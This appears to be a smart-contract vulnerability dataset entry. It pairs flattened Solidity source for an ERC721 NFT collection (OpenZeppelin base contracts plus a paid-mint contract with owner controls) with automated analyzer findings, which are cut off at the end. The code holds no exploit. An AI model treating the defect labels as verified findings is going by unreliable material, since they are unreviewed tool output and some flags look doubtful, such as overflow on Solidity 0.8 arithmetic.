* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract NFT is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.0555 ether;
uint256 public maxSupply = 5555;
uint256 public maxMintAmount = 10;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1273"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["484"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1234"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1226", "273", "251"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["648"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["64", "1216", "1278", "652", "1205", "1032", "190", "1190", "945"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["928", "929", "874", "898"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [968, 969, 970]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [506, 507, 508, 509]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [331, 332, 333]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1303]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1240]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1232]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [1158]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [1133]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [1159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [512, 513, 514, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [288, 289, 290, 291, 292, 293, 294, 295, 285, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [353, 354, 355, 356, 357, 358]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [407, 408, 409, 410, 411, 412, 413]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [480, 481, 482, 483, 484, 485, 486, 477, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [896, 897, 898, 899, 900, 901, 902, 890, 891, 892, 893, 894, 895]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [467, 468, 469]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [592, 593, 591]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [440, 441, 442]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [690, 691, 692]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [388, 389, 390, 391, 392, 393, 394]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [450, 451, 452, 453, 454, 455, 456, 457, 458, 459]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NFT.sol": [378, 379, 380]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1336, 1334, 1335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1314, 1315, 1316]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [672, 673, 671]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1344, 1345, 1342, 1343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1212, 1213, 1214]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1338, 1339, 1340]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [752, 753, 754, 755, 756, 757, 758]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1050, 1051, 1052, 1053]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1322, 1323, 1324]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [738, 739, 740, 741, 742, 743, 744, 745, 746, 747]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [704, 705, 706, 707, 697, 698, 699, 700, 701, 702, 703]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1220, 1221, 1222, 1223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [664, 665, 666]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1278, 1279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [721, 722, 723, 724, 725, 726]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NFT.sol": [1320, 1318, 1319]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [16]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [205]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [39]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [598]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1165]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [575]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [521]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1003]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [179]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [302]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1232]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [233]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [549]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"NFT.sol": [612]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"NFT.sol": [609]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"NFT.sol": [1179]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [430]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1343]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [457]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [484]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [356]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"NFT.sol": [962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1338]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [767]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1330]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1262]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1326]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1318]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1334]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NFT.sol": [1322]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"NFT.sol": [969]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"NFT.sol": [965]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"NFT.sol": [963]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"NFT.sol": [1285]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"NFT.sol": [962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 290, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 851, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 872, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 893, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 896, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 926, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1213, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1234, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1326, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1330, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1334, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 16, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 39, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 179, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 205, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 233, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 302, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 521, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 549, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 575, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 598, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1003, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1165, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1232, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1232, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 239, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 609, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 612, "severity": 1}, {"rule": 